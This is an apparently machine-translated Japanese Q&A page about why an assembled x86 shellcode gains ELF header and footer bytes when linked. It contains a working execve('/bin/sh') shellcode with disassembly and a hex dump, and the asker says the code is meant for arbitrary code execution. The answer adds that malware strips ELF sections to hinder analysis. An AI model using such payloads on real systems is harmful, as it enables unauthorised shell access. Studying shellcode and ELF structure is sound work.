web-dev-qa-db-ja.com

x86 asmからexeに移行するときのシェルコードバイトの大きなヘッダー/フッター?

単純なbashシェルをx86でコーディングし、nasmとldを介してexeにコンパイルしました。これを行うと、実際に作成した31バイトの命令を確認できますが、実行可能ファイルに追加されるコードの前後には数百バイトがあります。 ELFヘッダーと大きなフッターが追加されているようです。これらは何に使用されますか?また、これらのバイトが最終的なexeファイルになってしまうことなくコンパイルする方法はありますか?最終的に、このシェルコードは、bashシェルの任意のコード実行を目的としています。

$ cat Shell.asm 
section .text

global _start

_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

mov al, 11 
jmp short string_loc
string_loc_ret:
pop ebx
mov [ebx+7],cl
int 0x80

string_loc:
call string_loc_ret
db '/bin/shN'

$  nasm -f elf Shell.asm
$  ld -m elf_i386 -o Shell_ Shell.o

$  objdump -d Shell_

Shell_:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   31 c0                   xor    %eax,%eax
 8048062:   31 db                   xor    %ebx,%ebx
 8048064:   31 c9                   xor    %ecx,%ecx
 8048066:   31 d2                   xor    %edx,%edx
 8048068:   b0 0b                   mov    $0xb,%al
 804806a:   eb 06                   jmp    8048072 <string_loc>

0804806c <string_loc_ret>:
 804806c:   5b                      pop    %ebx
 804806d:   88 4b 07                mov    %cl,0x7(%ebx)
 8048070:   cd 80                   int    $0x80

08048072 <string_loc>:
 8048072:   e8 f5 ff ff ff          call   804806c <string_loc_ret>
 8048077:   2f                      das    
 8048078:   62 69 6e                bound  %ebp,0x6e(%ecx)
 804807b:   2f                      das    
 804807c:   73 68                   jae    80480e6 <string_loc+0x74>
 804807e:   4e                      dec    %esi

しかし、コンパイルした後、これはexeが最終的に持っているものです。あなたは私のアセンブリをバイト96から126まで見ることができます:

$  xxd Shell_
00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 0300 0100 0000 6080 0408 3400 0000  ........`...4...
00000020: 7001 0000 0000 0000 3400 2000 0100 2800  p.......4. ...(.
00000030: 0500 0400 0100 0000 0000 0000 0080 0408  ................
00000040: 0080 0408 7f00 0000 7f00 0000 0500 0000  ................
00000050: 0010 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 31c0 31db 31c9 31d2 b00b eb06 5b88 4b07  1.1.1.1.....[.K.
00000070: cd80 e8f5 ffff ff2f 6269 6e2f 7368 4e00  ......./bin/shN.
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 6080 0408 0000 0000 0300 0100  ....`...........
000000a0: 0100 0000 0000 0000 0000 0000 0400 f1ff  ................
000000b0: 0b00 0000 6c80 0408 0000 0000 0000 0100  ....l...........
000000c0: 1a00 0000 7280 0408 0000 0000 0000 0100  ....r...........
000000d0: 2a00 0000 6080 0408 0000 0000 1000 0100  *...`...........
000000e0: 2500 0000 7f90 0408 0000 0000 1000 0100  %...............
000000f0: 3100 0000 7f90 0408 0000 0000 1000 0100  1...............
00000100: 3800 0000 8090 0408 0000 0000 1000 0100  8...............
00000110: 0073 6865 6c6c 2e61 736d 0073 7472 696e  .Shell.asm.strin
00000120: 675f 6c6f 635f 7265 7400 7374 7269 6e67  g_loc_ret.string
00000130: 5f6c 6f63 005f 5f62 7373 5f73 7461 7274  _loc.__bss_start
00000140: 005f 6564 6174 6100 5f65 6e64 0000 2e73  ._edata._end...s
00000150: 796d 7461 6200 2e73 7472 7461 6200 2e73  ymtab..strtab..s
00000160: 6873 7472 7461 6200 2e74 6578 7400 0000  hstrtab..text...
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 1b00 0000 0100 0000  ................
000001a0: 0600 0000 6080 0408 6000 0000 1f00 0000  ....`...`.......
000001b0: 0000 0000 0000 0000 1000 0000 0000 0000  ................
000001c0: 0100 0000 0200 0000 0000 0000 0000 0000  ................
000001d0: 8000 0000 9000 0000 0300 0000 0500 0000  ................
000001e0: 0400 0000 1000 0000 0900 0000 0300 0000  ................
000001f0: 0000 0000 0000 0000 1001 0000 3d00 0000  ............=...
00000200: 0000 0000 0000 0000 0100 0000 0000 0000  ................
00000210: 1100 0000 0300 0000 0000 0000 0000 0000  ................
00000220: 4d01 0000 2100 0000 0000 0000 0000 0000  M...!...........
00000230: 0100 0000 0000 0000                      ........
1
Nitro

単純なbashシェルをx86でコーディングし、nasmとldを介してexeにコンパイルしました。

このプログラムはコンパイルされていません。むしろ、アセンブリソースコードに基づいてオブジェクトコードを生成するNASMによってアセンブルされ、ldによってリンクされました。

セクション

アセンブラによってアセンブリソーステキストがオブジェクトコードに変換されると、オブジェクトコードを含むオブジェクトファイルもアセンブラによって作成されます。このオブジェクトファイルはSystemV ABIに準拠しており、オブジェクトファイルから最終的な実行可能ELFバイナリを作成するためにリンカによって使用されるセクションがあります。

この場合、NASMはELFヘッダーと次のセクションを含むオブジェクトファイルを作成したようです(readelf -SW <binary>はバイナリに関するセクション情報を出力します)。

  • 実行可能命令を含む.textセクション
  • シンボルテーブルを含む.symbtabセクション
  • .shstrtabセクション、セクション名を保持
  • .strtabセクション、シンボルテーブルエントリに関連付けられた名前などの文字列を保持します

次に、ldは、これらのセクションの情報を使用して、実行可能なELFバイナリを作成しました。

実行可能ファイルからのセクションの削除

最終的な実行可能ELFバイナリが作成されると、セクション情報とシンボルは不要になります(プログラムがダイナミックリンクライブラリの関数を使用する場合を除く)。プログラムをメモリにロードし、カーネルのプログラムローダーで実行するには、セグメントのみが必要です。したがって、.symbtab.strtab、および.shstrtabセクションは、stripユーティリティと-R <section name>オプションを使用して実行可能ELFバイナリから削除できます。

これらのユーティリティはセクションヘッダーテーブルの情報に依存しているため、セクション情報は、実行可能ファイルがobjdumpによって逆アセンブルされたりgdbによって分析されたりするのを防ぐため、通常ELFマルウェアから削除されます。

0
julian